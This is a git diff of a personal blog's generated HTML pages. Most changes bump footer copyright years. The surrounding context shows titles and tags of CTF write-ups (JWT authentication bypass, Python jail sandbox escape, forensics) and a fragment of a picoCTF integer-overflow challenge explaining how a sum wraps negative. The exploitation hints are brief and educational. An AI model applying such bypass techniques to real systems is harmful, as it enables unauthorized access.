class=post-content></section><article><a aria-label=Treebox href=https://lavafroth.is-a.dev/post/google-ctf-2022-treebox/><h2>Treebox</h2></a><time>Aug 19, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/google-ctf class=list-tag>Google CTF</a>
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=Pixelated href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/><h2>Pixelated</h2></a><time>Nov 22, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/cryptography class=list-tag>Cryptography</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/image-reconstruction class=list-tag>Image Reconstruction</a>
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
<a href=https://lavafroth.is-a.dev/tags/visual-cryptography class=list-tag>Visual Cryptography</a>
<a class=post-link aria-label=Pixelated href=https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/></a></article><article><a aria-label=Treebox href=https://lavafroth.is-a.dev/post/google-ctf-2022-treebox/><h2>Treebox</h2></a><time>Aug 19, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/google-ctf class=list-tag>Google CTF</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
<a href=https://lavafroth.is-a.dev/tags/ast class=list-tag>AST</a>
@@ -35,10 +41,5 @@
<a href=https://lavafroth.is-a.dev/tags/forensics class=list-tag>Forensics</a>
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
<a href=https://lavafroth.is-a.dev/tags/the-sleuth-kit class=list-tag>The Sleuth Kit</a>
<a class=post-link aria-label="Operation Oni, Operation Orchid" href=https://lavafroth.is-a.dev/post/picoctf-forensics-operation-oni-operation-orchid/></a></article><article><a aria-label=JAuth href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/><h2>JAuth</h2></a><time>Feb 22, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/authentication-bypass class=list-tag>Authentication Bypass</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/jwt class=list-tag>JWT</a>
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a>
<a class=post-link aria-label=JAuth href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/></a></article><nav data-main><a href=../../../post/page/4/>Previous Page</a>
<a href=../../../post/page/6/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a class=post-link aria-label="Operation Oni, Operation Orchid" href=https://lavafroth.is-a.dev/post/picoctf-forensics-operation-oni-operation-orchid/></a></article><nav data-main><a href=../../../post/page/4/>Previous Page</a>
<a href=../../../post/page/6/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -1,4 +1,9 @@
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Liberating 14GiB of disk space" href=https://lavafroth.is-a.dev/post/liberating-14gib-of-space/><h2>Liberating 14GiB of disk space</h2></a><time>Feb 21, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/powershell class=list-tag>Powershell</a>
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=JAuth href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/><h2>JAuth</h2></a><time>Feb 22, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/authentication-bypass class=list-tag>Authentication Bypass</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/jwt class=list-tag>JWT</a>
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a>
<a class=post-link aria-label=JAuth href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/></a></article><article><a aria-label="Liberating 14GiB of disk space" href=https://lavafroth.is-a.dev/post/liberating-14gib-of-space/><h2>Liberating 14GiB of disk space</h2></a><time>Feb 21, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/powershell class=list-tag>Powershell</a>
<a href=https://lavafroth.is-a.dev/tags/windows class=list-tag>Windows</a>
<a href=https://lavafroth.is-a.dev/tags/workflow class=list-tag>Workflow</a>
<a class=post-link aria-label="Liberating 14GiB of disk space" href=https://lavafroth.is-a.dev/post/liberating-14gib-of-space/></a></article><article><a aria-label=Notepad href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/><h2>Notepad</h2></a><time>Feb 21, 2022 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
@@ -10,4 +15,4 @@
<a class=post-link aria-label=Notepad href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/></a></article><article><a aria-label="Gadgeting in Python Jails" href=https://lavafroth.is-a.dev/post/gadgeting-in-python-jails/><h2>Gadgeting in Python Jails</h2></a><time>Dec 9, 2021 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
<a href=https://lavafroth.is-a.dev/tags/sandbox-escape class=list-tag>Sandbox Escape</a>
<a class=post-link aria-label="Gadgeting in Python Jails" href=https://lavafroth.is-a.dev/post/gadgeting-in-python-jails/></a></article><nav data-main><a href=../../../post/page/5/>Previous Page</a>
<a href=#>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=#>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -56,7 +56,7 @@ Since this is C and there is no integer overflow check, we can simply supply the
the second. Adding them would cause the result to wrap around and become negative.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Apr 10, 2023 | 2 minutes read</time></p><h1 data-pagefind-meta=title>Twosum</h1></hgroup><section class=post-content data-pagefind-body><p>This is a rather simple binary exploitation challenge. We are given the following source
code for the program running on the remote server:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-c data-lang=c><span style=display:flex><span><span style=color:#75715e>#include</span> <span style=color:#75715e>&lt;stdio.h&gt;</span><span style=color:#75715e>
</span></span></span><span style=display:flex><span><span style=color:#75715e>#include</span> <span style=color:#75715e>&lt;stdlib.h&gt;</span><span style=color:#75715e>
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>
</span></span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>static</span> <span style=color:#66d9ef>int</span> <span style=color:#a6e22e>addIntOvf</span>(<span style=color:#66d9ef>int</span> result, <span style=color:#66d9ef>int</span> a, <span style=color:#66d9ef>int</span> b) {
</span></span><span style=display:flex><span> result <span style=color:#f92672>=</span> a <span style=color:#f92672>+</span> b;
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span>(a <span style=color:#f92672>&gt;</span> <span style=color:#ae81ff>0</span> <span style=color:#f92672>&amp;&amp;</span> b <span style=color:#f92672>&gt;</span> <span style=color:#ae81ff>0</span> <span style=color:#f92672>&amp;&amp;</span> result <span style=color:#f92672>&lt;</span> <span style=color:#ae81ff>0</span>)
@@ -112,4 +112,4 @@ the second. Adding them would cause the result to wrap around and become negativ
</code></pre></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/binary-exploitation class=list-tag>Binary Exploitation</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/i-switched-to-nixos/><span></span><span>I Switched to NixOS</span></a>
<a href=https://lavafroth.is-a.dev/post/picoctf-web-java-code-analysis/><span>Java Code Analysis!?!</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/picoctf-web-java-code-analysis/><span>Java Code Analysis!?!</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -27,7 +27,7 @@ in variables <code>a</code> and <code>b</code>.</p><div class=highlight><pre tab
</span></span></code></pre></div><p>Next, we&rsquo;ll create an image buffer for reconstructing the composite image.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> <span style=color:#66d9ef>mut</span> imgbuf: <span style=color:#a6e22e>RgbaImage</span> <span style=color:#f92672>=</span> ImageBuffer::new(a.width(), a.height());
</span></span></code></pre></div><p>Looping over the pixels in the shares,</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>for</span> ((x, y, p), (_, _, q)) <span style=color:#66d9ef>in</span> a.pixels().zip(b.pixels()) {
</span></span><span style=display:flex><span> <span style=color:#75715e>// next 2 code blocks go here ...
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>}
</span></span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>we sum the values in each channel &mldr;</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> pixel <span style=color:#f92672>=</span> p.channels()
</span></span><span style=display:flex><span> .iter()
</span></span><span style=display:flex><span> .zip(q.channels().iter())
@@ -67,4 +67,4 @@ compile and run the program.</p><div class=highlight><pre tabindex=0 style=color
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
<a href=https://lavafroth.is-a.dev/tags/visual-cryptography class=list-tag>Visual Cryptography</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/><span></span><span>Kringlecon 2022 Writeup</span></a>
<a href=https://lavafroth.is-a.dev/post/google-ctf-2022-treebox/><span>Treebox</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/google-ctf-2022-treebox/><span>Treebox</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -170,4 +170,4 @@ picoCTF{h4un71ng_p457_17237fce}
<a href=https://lavafroth.is-a.dev/tags/forensics class=list-tag>Forensics</a>
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
<a href=https://lavafroth.is-a.dev/tags/the-sleuth-kit class=list-tag>The Sleuth Kit</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/><span></span><span>Bash Jail 1</span></a>
<a href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/><span>JAuth</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/><span>JAuth</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -106,4 +106,4 @@ think out of the box.</p><p>That&rsquo;s all for now. I hope you learned somethi
<a href=https://lavafroth.is-a.dev/tags/sandbox-escape class=list-tag>Sandbox Escape</a>
<a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/project-mana-demo/><span></span><span>Building an in-browser Manim clone</span></a>
<a href=https://lavafroth.is-a.dev/post/a-tale-of-a-frugal-home-server/><span>A Tale of a Frugal Home Server</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/a-tale-of-a-frugal-home-server/><span>A Tale of a Frugal Home Server</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -35,4 +35,4 @@ Setting the cookie to this value, we are redirected to the admin page.</p><block
<a href=https://lavafroth.is-a.dev/tags/jwt class=list-tag>JWT</a>
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/picoctf-forensics-operation-oni-operation-orchid/><span></span><span>Operation Oni, Operation Orchid</span></a>
<a href=https://lavafroth.is-a.dev/post/liberating-14gib-of-space/><span>Liberating 14GiB of disk space</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/liberating-14gib-of-space/><span>Liberating 14GiB of disk space</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -71,4 +71,4 @@ templates
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
<a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/liberating-14gib-of-space/><span></span><span>Liberating 14GiB of disk space</span></a>
<a href=https://lavafroth.is-a.dev/post/gadgeting-in-python-jails/><span>Gadgeting in Python Jails</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/gadgeting-in-python-jails/><span>Gadgeting in Python Jails</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -85,7 +85,7 @@ We are also given the source code of the application.</p><p>Taking a look at the
